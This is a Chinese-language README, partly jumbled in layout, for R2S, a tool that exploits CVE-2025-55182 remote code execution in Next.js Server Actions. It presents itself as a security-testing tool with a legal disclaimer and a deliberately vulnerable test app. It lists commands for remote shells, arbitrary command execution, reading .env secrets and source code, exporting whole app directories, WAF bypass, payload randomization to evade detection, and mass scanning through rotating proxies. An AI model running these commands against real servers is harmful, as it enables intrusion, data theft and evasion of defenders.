R2S (React2Shell) 是一款安全测试工具,旨在帮助安全研究人员、开发人员和渗透测试人员评估其 Next.js 应用程序是否存在 CVE-2025-55182 漏洞。
CVE-2025-55182 是一个影响某些版本(例如 16.0.5)的 Next.js Server Actions 的关键漏洞。该漏洞允许攻击者通过未正确保护的 Server Actions 在服务器上执行任意命令,从而导致远程代码执行 (RCE)。
R2S 可帮助您检查您的应用程序是否存在此问题,以便您能在恶意攻击者发现之前修复它。
--windows)⚠️ 严重警告:如果使用不当,--windows 标志可能导致工具无法正确判定漏洞。
--windows:仅当您 100% 确定目标服务器是 Windows 时才使用--windows,命令将失败,工具可能会报告“未发现漏洞”,即使服务器实际存在漏洞--windows示例:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
---
## ⚠️ 法律免责声明
**重要提示:使用此工具前请阅读**
1. **此工具仅用于合法安全测试**
- ✅ 测试您自己的应用程序
- ✅ 测试您已获得书面授权进行测试的应用程序
- ✅ 教育目的和安全研究
- ❌ **切勿在您不拥有或未经许可测试的系统上使用**
- ❌ **切勿用于恶意目的**
2. **使用此工具即表示您同意:**
- 您仅在您拥有或拥有明确书面许可的系统上使用它
- 您了解未经授权访问计算机系统是非法的
- 您对自己的行为承担全部责任
- 作者不对任何滥用此工具的行为负责
3. **法律后果:**
- 在大多数国家,未经授权访问计算机系统属于犯罪行为
- 您可能面临刑事指控、罚款和监禁
- 测试前务必获得书面许可
4. **此工具按“现状”提供,不附带任何形式的担保**
**如果您未满 18 岁,请确保在使用此工具前有成人监督并获得许可。**
---
## ✨ 功能特性
### 核心能力
- 🔍 **漏洞检测** - 快速测试服务器是否存在 CVE-2025-55182 漏洞
- 💻 **交互式 Shell** - 通过 HTTPS 提供完整的交互式 shell 会话,支持命令历史
- 📁 **文件操作** - 列目录、读取文件以及导出文件/归档
- 🔐 **机密信息提取** - 尝试读取应用程序机密(.env 文件、配置文件)
- 📄 **代码提取** - 尝试读取应用程序源代码
- 🖥️ **系统信息** - 收集操作系统信息、主机名、用户和环境变量
### 高级功能
- 🚀 **自动预热 Payload** - 自动优化 payload 以获得最佳结果
- ⚡ **并行执行** - 同时运行多个命令
- 🎲 **Payload 随机化** - 通过动态 payload 规避检测
- 🛠️ **漏洞利用模块** - Metasploit 风格模块系统(env_dump、file_search、network_scan、process_list)
- 🔄 **重定向处理** - 自动跟随 HTTP 重定向(301、302、303、307、308)
- 🎨 **精美的界面** - 彩色输出,便于阅读
- 📊 **全面报告** - 自动保存 JSON、HTML、TXT 格式的报告,并提供特定操作格式化器
- ⚙️ **配置系统** - 基于 JSON 的配置,带交互式设置面板
- 📦 **导出功能** - 将单个文件或整个应用目录导出为 zip 归档
- 🔒 **WAF 绕过** - 多种绕过技术(⚠️ 不保证成功 - 请参阅下方限制)
### 报告与日志
- 📝 **自动保存报告** - 自动将报告保存到 `~/.r2s/reports/`,使用人类可读的时间戳
- 📋 **操作特定格式** - 针对不同操作(shell、test、secrets 等)使用不同的报告格式
- 📜 **命令历史** - 持久化命令历史,保存到 `~/.r2s/history`
- 🔍 **审计追踪** - 将所有操作的详细日志记录到 `~/.r2s/logs/audit.log`
- 🎨 **HTML 报告** - 美观的 HTML 报告,支持深色/浅色模式、复制按钮和代码块
---
## 📦 安装
### 选项 1:从源代码构建(推荐)
1. **克隆仓库:** ```bash
git clone https://github.com/zamdevio/r2s.git
cd r2s
pip install -r requirements.txt
python3 -m react2shell.main --help
r2s --help
---
## 🚀 快速开始
### 基本漏洞测试```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t
# With verbose output for more details
r2s -u http://localhost:3000 -t -v
⚠️ 重要提示:除非你确定目标是 Windows,否则不要使用 --windows。在 Linux 服务器上使用 --windows 会导致漏报(即使服务器存在漏洞,工具也可能报告“不存在漏洞”)。
我们在 https://r2s-arena.fly.dev 提供了一个安全的测试环境:```bash
r2s -u https://r2s-arena.fly.dev -t
### 本地测试
有关在本地运行易受攻击的应用的说明,请参阅 [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md)。
---
## 📚 使用示例
### 快速命令参考
**最常用命令:**
- `r2s -u URL -t` - 测试是否存在漏洞(最常用)
- `r2s -u URL --shell` - 启动交互式 shell
- `r2s --targets FILE -t` - 批量扫描多个目标
- `r2s -u URL --system-info` - 获取系统信息
- `r2s -u URL --secrets` - 尝试读取机密信息
- `r2s -u URL --export-archive` - 将整个应用导出为 zip
**⚠️ 请记住**:除非目标是 Windows,否则不要使用 `--windows`!
---
### 基本操作```bash
# Test vulnerability
r2s -u http://localhost:3000 -t
# List directory contents
r2s -u http://localhost:3000 --list-dir /app
# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json
# Get system information
r2s -u http://localhost:3000 --system-info
# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"
r2s -u http://localhost:3000 --shell
### 漏洞利用模块```bash
# List available modules
r2s --list-modules
# Use a module
r2s -u http://localhost:3000 --module env_dump
# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"
# Get module information
r2s --module-info env_dump
r2s -u http://localhost:3000 --export src/app/page.tsx
r2s -u http://localhost:3000 --export-archive
r2s settings
### 机密与代码提取```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.
# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.
r2s --targets targets.txt -t
r2s --targets targets.txt --batch -t
r2s --targets targets.txt -t --rate 2
r2s --targets targets.txt -t --delay 1
r2s --targets targets.txt --batch -t --rate 1 --delay 2
### 高级选项```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"
# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass
# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm
# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize
# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote
# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0
# Disable SSL verification
r2s -u https://target.com -t --insecure
# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2
# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1
r2s -u http://localhost:3000 -t --proxy http://proxy.example.com:8080
r2s -u http://localhost:3000 -t --proxy http://user:[email protected]:8080
r2s -u http://localhost:3000 -t --proxy-file proxies.txt
r2s --targets targets.txt -t --proxy-file proxies.txt --rate 1
### 日志与审计```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log
# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit
# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit
r2s settings
r2s cleanup
r2s uninstall
### 报告```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}
# Disable auto-save
r2s -u http://localhost:3000 -t --no-report
# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json
# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html
cd my-nextjs-app npm run dev
r2s -u http://localhost:3000 -t
### 2. 安全审计```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive
使用提供的 nextjs 应用进行安全、本地测试:```bash
cd nextjs
npm install
npm run dev
r2s -u http://localhost:3000 -t
详细说明请参阅 [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md)。
---
## 🏗️ 架构
R2S 采用模块化架构,以利于可维护性和可扩展性:```
react2shell/
├── main.py # Main entry point
├── classes/ # Core classes
│ ├── detector.py # Target detection
│ ├── executor.py # Command execution
│ ├── modules.py # Exploit modules system
│ ├── operations.py # High-level operations
│ ├── payload.py # Payload building and randomization
│ └── shell.py # Interactive shell
├── services/ # Services
│ ├── config.py # Configuration management (JSON)
│ ├── exporter.py # File and archive export
│ ├── formatters.py # Report formatters
│ ├── history.py # Command history
│ ├── logger.py # Logging and audit trails
│ ├── proxy.py # Proxy management
│ └── reporter.py # Report generation
└── utils/ # Utilities
├── colors.py # Color utilities
└── helpers.py # Helper functions
有关详细的架构文档,请参阅 react2shell/README.md。
我们提供了一个名为 nextjs 的安全测试环境,你可以用它来测试该工具,而不会危及真实系统。
这是一个公开可用、故意存在漏洞的应用程序,仅用于测试目的。
有关在本地运行的说明,请参阅 nextjs/README.md。
⚠️ 重要提示: nextjs 应用程序故意存在漏洞,切勿在生产环境或真实数据中使用。
| Command | Description |
|---|---|
--export FILE, --ex FILE | 从目标导出单个文件(保存到 ~/.r2s/exports/{domain}/) |
--export-archive | 将整个应用目录导出为 zip 存档。在服务器上创建 zip,下载后从服务器删除。排除 .gitignore 模式。保存到 ~/.r2s/exports/{domain}/r2s_export_TIMESTAMP.zip |
| Command | Description |
|---|---|
--module NAME | 执行漏洞利用模块 |
--module-list, --list-modules | 列出可用模块 |
--module-info NAME |
| Option | Description |
|---|---|
--output FILE, -o FILE | 将结果保存到指定文件(禁用自动保存) |
--no-report | 禁用自动保存报告到 ~/.r2s/reports/ |
| Option | Description |
|---|---|
--targets FILE | 从文件扫描多个目标(每行一个 URL,支持使用 # 添加注释) |
--batch | 批量模式:跳过所有交互提示,自动继续(适用于自动化/脚本) |
| Command | Description |
|---|---|
r2s settings | 打开交互式设置面板 |
r2s cleanup | 删除所有 R2S 数据(配置、历史记录、日志、报告、导出) |
r2s uninstall |
r2s -u https://target.com -t --insecure
### "连接错误"
- 检查服务器是否正在运行
- 验证 URL 是否正确
- 检查防火墙设置
- 尝试增加超时时间: `--timeout 30`
### "请求被阻止"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass
# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox
⚠️ 重要提示:Windows 命令标志
如果你遇到漏报(工具显示"未受漏洞影响",但目标实际上受影响),请检查:
你是否使用了 --windows 标志?
--windows 标志会让工具使用 Windows 命令(PowerShell、dir 等)--windows 会导致工具失败--windows 标志(Unix/Linux 是默认选项)平台检测
--windows测试命令
echo $((41*271))--windows 时,会改用:powershell -c "41*271"问题示例:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
### WAF 绕过限制
**⚠️ 重要提示:** 本工具中的 WAF 绕过技术**不能保证**有效,并且存在以下局限性:
- **并非通用**:不同的 WAF 使用不同的检测方法。适用于一种 WAF 的方法可能不适用于另一种。
- **静态检测**:某些 WAF 使用可被绕过的静态模式匹配,但现代 WAF 使用行为分析。
- **速率限制**:许多 WAF 实施速率限制,可阻止重复尝试。
- **机器学习**:高级 WAF 使用自适应并学习攻击模式的 ML 模型。
- **Cloudflare/AWS WAF**:企业级 WAF(Cloudflare、AWS WAF 等)极难绕过。
- **不保证有效**:这些绕过技术是实验性的,可能无法应对配置完善的 WAF。
**最佳实践:**
- 将 WAF 绕过作为最后手段
- 尝试不同的请求头策略(`--header-strategy`)
- 与 `--randomize` 结合使用以获得更好结果
- 明白某些目标可能无法绕过
- 始终在您拥有或有权测试的系统上进行测试
### 构建问题```bash
# Make sure Python 3.7+ is installed
python3 --version
# Install dependencies
pip install -r requirements.txt
# Clean previous build artifacts
./build.sh cleanup
# Try building again
./build.sh
要安全地移除所有构建产物(构建目录、缓存文件等):```bash ./build.sh cleanup
这将移除:
- `build/` 目录(PyInstaller 构建文件)
- `dist/` 目录(已编译的二进制文件)
- `__pycache__/` 目录(Python 缓存,递归删除)
- `*.pyc` 文件(已编译的 Python 字节码)
- `*.pyo` 文件(优化的 Python 字节码)
- `*.spec` 文件(PyInstaller 规范文件)
**注意:** 此操作仅删除构建产物,不会删除您的源代码。清理过程是安全的,并会在继续前请求确认。
---
## 📁 文件结构```
r2s/
├── README.md # This file
├── LICENSE # MIT License
├── requirements.txt # Python dependencies
├── build.sh # Build script for standalone binary
├── r2s_entry.py # PyInstaller entry point
├── react2shell/ # Main package
│ ├── README.md # Architecture documentation
│ ├── main.py # Entry point
│ ├── classes/ # Core classes
│ ├── services/ # Services
│ └── utils/ # Utilities
└── nextjs/ # Testing environment
└── README.md # Testing environment documentation
欢迎贡献!请:
请记住: 只贡献有助于合法安全测试的代码。
本项目基于 MIT License 授权 - 详情请参阅 LICENSE 文件。
但是,使用此工具须遵守上述法律免责声明。使用此工具进行未经授权的访问是违法的,且不受本许可证保护。
zamdevio
此工具仅供安全测试和教育目的使用。
保持合法、保持道德、保持安全!🛡️
为安全社区倾注❤️而作
| Command | Description |
|---|
-u, --url URL | 目标 URL(大多数操作必填) |
-t, --test | 测试服务器是否存在漏洞 |
-ld, --list-dir PATH | 列出目录内容 |
-rf, --read-file FILE | 读取文件内容 |
-si, --system-info | 获取系统信息 |
-sr, --secrets | 尝试读取机密信息 |
-c, --code | 尝试读取源代码 |
-cmd, --command CMD | 执行自定义命令 |
--shell | 启动交互式 Shell |
| 显示模块信息 |
--set KEY=VALUE | 设置模块选项 |
| Option | Description |
|---|
--waf-bypass | 尝试 WAF 绕过技术(⚠️ 不保证成功 - 请参阅下方限制) |
--waf-bypass-size KB | WAF 绕过垃圾数据大小(以 KB 为单位,默认:128) |
--vercel-waf-bypass | 启用针对 Vercel 的 WAF 绕过技术 |
--header-strategy STRATEGY | HTTP 标头策略:default、chrome_latest、firefox、minimal、assetnote |
--parallel N | 并行执行 N 个命令(适用于多个命令) |
--auto-warm | 在执行前自动预热并优化载荷 |
--randomize | 随机化载荷以逃避静态检测 |
--no-follow-redirects | 不自动跟随 HTTP 重定向(301、302 等) |
-k, --insecure | 禁用 SSL 证书验证(请谨慎使用) |
--timeout SECONDS | 请求超时(秒,默认:10,设为 0 表示无超时) |
--windows | ⚠️ 警告:使用 Windows 命令而非 Unix/Linux 命令。如果目标实际是 Unix/Linux,这可能导致工具无法判断是否存在漏洞。仅当你确定目标是 Windows 时才使用此选项。 |
--rate RATE | 将请求速率限制为每秒 RATE 次(适用于批量扫描) |
--delay SECONDS | 在请求之间添加延迟(秒,有助于避免速率限制) |
--batch | 批量模式:跳过所有交互提示,自动继续(适用于自动化) |
--log FILE |
| 将所有操作记录到指定文件(详细操作日志) |
--audit | 创建详细审计跟踪(保存到 ~/.r2s/logs/audit.log) |
| Option | Description |
|---|
--proxy URL | 使用 HTTP 代理(格式:http://proxy:port 或 http://user:pass@proxy:port) |
--proxy-file FILE | 从文件加载并轮换代理(每行一个代理,格式:http://proxy:port) |
--rate RATE | 将请求速率限制为每秒 RATE 次(防止压垮目标) |
--delay SECONDS | 在请求之间添加延迟(秒,有助于避免速率限制) |
| 卸载 R2S 二进制文件及所有数据 |
r2s help | 显示帮助信息 |